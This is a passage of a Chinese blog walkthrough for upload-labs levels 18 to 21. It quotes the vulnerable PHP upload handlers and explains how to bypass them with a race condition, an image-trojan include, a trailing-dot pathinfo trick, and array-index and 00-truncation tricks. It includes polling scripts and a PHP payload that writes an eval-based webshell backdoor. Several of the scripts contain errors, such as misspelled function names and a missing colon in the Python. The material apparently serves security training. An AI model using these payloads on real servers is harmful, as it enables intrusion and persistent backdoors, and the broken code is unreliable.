php版本,还可以根据需要将注释掉的语句加入文件中
<?php
$ini = curl_ini('http://127.0.0.1/upload-labs-master/upload/你上传的文件名');
// curl_setopt($ini,CURLOPT_CUSTOMREQUEST,'post或者get传参');
// curl_setopt($ini,CURLOPT_POSTFIELDS,post传递的数据格式为用双引号包裹变量名用后面加点跟对应值);
// curl_setopt($ini,CURLOPT_TIMEOUT,一个数用来定义访问的间隔时间);
// curl_setopt($ini,CURLOPT_FOLLOWLOCATION,布尔值用来设置是否跟随重定向);
while(true){
curl_exec($ini);
if((curl_getinfo($ini,CURLINFO_HTTP_CODE))==='200'){
echo 'have successed!!!!!!!!!';
break;
}else{
echo 'upload false';
}
}
curl_colse($ini);
?>
python版本
import requests
url = "http://127.0.0.1/upload-labs/upload/你上传的文件名"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
else
print("NO")
不管是哪种脚本,主要实现的是不断访问网站中的某一个文件,直到成功之后才会停止
【第十八关源码分析】
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
文件源码做的操作是,先将文件按照上传的文件名进行保存,然后才判断文件后缀是否正确不正确的话就用unlink函数删除磁盘上的文件。因为它先进行的是文件的保存,离执行删除文件的操作还有一段时间,所以我们可以通过burpsuite的intruder模块不断上传的模式,可能使脚本在访问该文件使该文件还没有被删除,从而执行该php文件。
【第十八关操作步骤】
首先用burpsuite抓包然后调用intruder模块再打开payload板块设置payload type为null payloads,之后点击下方的continue indefinitely,操作完成之后如下图 还要注意的是上传的php文件其中的php源码不是一句话木马而是如下图的代码,这样再被上文附的脚本成功调用之后会真正生成注入的文件,这样就成功就留下了后门,其中php代码如下
<?php puts(fopen('forming_is_very_handsome.php','r+'),'<? @eval($_POST['forming']);?>');?>
你也不一定要写一个php文件,还可以再burpsuite上面抓包改就行,如下图
【第十九关源码分析】
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
这一关源码干的事其实和上一关类似,但是太长了,,,所以只写一下源码和之前不太一样的地方,这一关的源码主要是写了一个类,并且将它实例化,再调用它,其中再文件保存之前加入了文件的检验,不像上一关,但是还是可以用条件竞争,只不过上传图片马实现条件竞争。其实在这两关之前也有很多可以用条件竞争,这里就不再啰嗦了。
【第十九关操作步骤】
用图片马的条件竞争,操作和之前类似都是先用burpsuite抓包,之后用intruder模块调用不断上传,之后用脚本调取使它执行,又因为是图片马,所以要将图片包含在一个php文件中使其执行,其实只是将脚本中的url变一下就行。构造的url类似下方,根据你的情况修改
127.0.0.1/upload-labs-master/include.php?file=upload/forming_is_handsome.gif
<15>新的函数再判断(第二十关)
这一部分讲的是第二十关
【第二十关源码分析】
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
/*
$file_name = trim($_POST['save_name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
*/
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这一关的目的就是让你认识一个新函数,函数的作用就是将一个路径的信息以数组的形式返回出来,并且需要注意的是,该函数截取文件后缀的方法不像之前的substr等函数,它是从后面开始截取的。。。。所以只需要在burpsuite抓包的文件名后面加个点就行,和前几关的点绕过类似,但是原理完全不同,所以说一下 【第二十关操作步骤】
抓包修改后如下图
<16>数组绕过难不难?(第二十一关)
这一部分讲的是第二十一关
【第二十一关源码分析】
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//mime check
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//check filename
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这一关要讲绕过方法有两个
-
1、直接数组绕过
- (1)由上卖面的源码可知如果上传的save_path是一个数组的话就不会调用explode,这样就实现了上传可控
- (2)观察文件源码,它先是用end函数调取save_path数组的最后一个元素判断是否符合上传文件限制
- (3)而拼接文件保存路径的时候用的方法是用count函数判断文件元素的个数,然后用这个个数值减一的方式调用最后一个元素作为文件后缀
- (4)又用reset函数调用数组第一个元素做文件名
- (5)基于此如果我们上传的数组实际只有三个函数,但是标记却是save_path[0],save_path[1]、save_path[3]这样的话就没有save_path[2]元素,这也就导致
$file[count($file) - 1] 返回值为空 - (6)reset($file)会返回数组的第一个元素,也就是返回save_path[0]的值,save_path[0]的值我们可以设置为一个php文件名比如forming_is_handsome.php
-
2、数组绕过配00截断
- (1)原理和上面类似不过再save_path[0]的值后面用十六进制编辑器修改十六进制值为00
- (2)这样的话再move_uploaded_file函数调用文件路径保存文件的时候读到零零会不往后读
数组绕过加零零截断的方法可以不用上传三个元素并改变其最后一个元素,它可以直接上传一个数组,只改变一处就好,但是也有限制它要求php版本在5.3.29而且magic_quotes_gpc要开启
【第二十一关操作步骤】
不管是哪种方法都要上传的是如图所示的文件,save_path也是如下图的样子
- 1、直接数组绕过
- (1)在burpsuite抓的包中找到这次的post文件分隔符,如下文的分割就是一排"-"符加一串随机数
- (2)添加save_path数据,将save_path变为一个数组
- (3)数组的形式与值如上文所说,全都修改过后如下图
- 2、数组绕过配00截断
- (1)还是找分割符
- (2)但是这种方法无需向上面的方法一样,只需要注意两点
- <1>一save_path[0]元素一定要用burpsuite自带的十六进制编辑器修改十六进制的值,也就是在forming.php后面加上十六进制编码,编码值为00。
- <2>二是最后的元素一定要是jpg、png、gif中的一个
先是添加数组元素,并且最后一个数组元素要为jpg或png或gif,操作之后如下 修改之后打开十六进制编辑器,在下图也就是第一个数组元素值得位置后面将十六进制值由原来得0b修改为00,改动过后如下图
<17>都不难!!!(总结)
看完整篇博客得人可以读一下各标题,会发现这是一个顺口溜,最后一个字的韵母都是an,而且字数都是七个 😃 😃 😃 😃
|